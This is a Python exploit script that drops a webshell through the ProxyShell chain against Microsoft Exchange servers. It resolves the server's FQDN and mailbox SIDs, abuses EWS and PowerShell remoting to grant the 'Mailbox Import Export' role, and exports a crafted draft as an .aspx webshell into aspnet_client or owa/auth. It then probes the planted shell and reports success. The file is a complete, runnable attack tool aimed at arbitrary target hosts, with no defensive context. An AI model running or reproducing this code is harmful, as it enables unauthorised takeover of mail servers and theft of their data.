#!/usr/bin/env python3
# corrected ProxyShell webshell dropper: EWS uses USER sid, token uses ADMIN sid
import sys, time, random, json
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def run(host, budget=275):
    start = time.time()
    def left(): return budget - (time.time() - start)
    url = host if host.startswith('https://') else f'https://{host}'
    ps = P.ProxyShell(url, timeout=15)
    res = {"target": host, "status": "fail", "detail": ""}
    try:
        print(f"[*] {host}: get_fqdn", flush=True)
        fqdn = ps.get_fqdn()
        if not fqdn:
            res["detail"] = "no fqdn"; return res
        res["fqdn"] = fqdn
        print(f"[*] fqdn={fqdn}", flush=True)
        print(f"[*] get_legacydn", flush=True)
        ld = ps.get_legacydn()
        if not ld:
            res["detail"] = "no mailbox/legacydn"; return res
        res["email"] = ps.email
        print(f"[*] mailbox={ps.email} dn={ld}", flush=True)
        ps.get_sid()
        user_sid = ps.sid; admin_sid = ps.admin_sid
        res["user_sid"] = user_sid
        print(f"[*] user_sid={user_sid} admin_sid={admin_sid}", flush=True)
        # --- EWS draft with USER sid (the fix) ---
        ps.sid = user_sid
        d = ps.set_ews()
        res["ews"] = d
        print(f"[*] EWS CreateItem -> {d}", flush=True)
        if d != "Success":
            res["detail"] = f"ews={d}"; return res
        # --- token with ADMIN sid ---
        ps.sid = admin_sid
        tok = ps.get_token()
        if not ps.token:
            res["detail"] = "no token"; return res
        res["token_ok"] = bool(tok)
        print(f"[*] token={'validated' if tok else 'unvalidated'}", flush=True)
        port = random.randint(20000, 40000)
        P.start_server(ps, port)
        user = ps.email.split('@')[0]
        paths = [
            ("inetpub\\wwwroot\\aspnet_client\\", "aspnet_client"),
            ("Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\", "owa_auth"),
        ]
        try:
            P.wsman_shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', port)
            print("[*] role assignment submitted", flush=True)
        except Exception as e:
            print(f"[*] roleassign err {e}", flush=True)
        time.sleep(1)
        got = False
        for shell_path, kind in paths:
            if left() < 45:
                print("[*] budget low", flush=True); break
            name = P.rand_string(6) + '.aspx'
            unc = "\\\\127.0.0.1\\c$\\" + shell_path + name
            if kind == "aspnet_client":
                rel = shell_path.split('inetpub\\wwwroot\\')[1]
            else:
                rel = shell_path.split('Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\')[1]
            rel = rel.replace('\\', '/')
            shell_url = f"https://{host}/{rel}{name}"
            cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
                   '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, P.subj_, unc)
            print(f"[*] export -> {rel}{name}", flush=True)
            try:
                P.wsman_shell(cmd, port)
            except Exception as e:
                print(f"[*] export err {e}", flush=True)
            time.sleep(8)
            for _ in range(4):
                code, txt = P.test_webshell(shell_url)
                print(f"[*] probe code={code} body={txt[:80]!r}", flush=True)
                if code == 200 and txt and txt.strip() and 'Exception' not in txt[:300] and 'Server Error' not in txt[:300]:
                    res.update(status="success", shell_url=shell_url, kind=kind, output=txt[:200])
                    got = True; break
                time.sleep(3)
            if got:
                break
        if not got:
            res["detail"] = "webshell not confirmed"
        return res
    except Exception as e:
        res["detail"] = f"exception {type(e).__name__}: {e}"
        return res

if __name__ == '__main__':
    host = sys.argv[1]
    b = int(sys.argv[2]) if len(sys.argv) > 2 else 275
    r = run(host, b)
    print("RESULT_JSON " + json.dumps(r), flush=True)
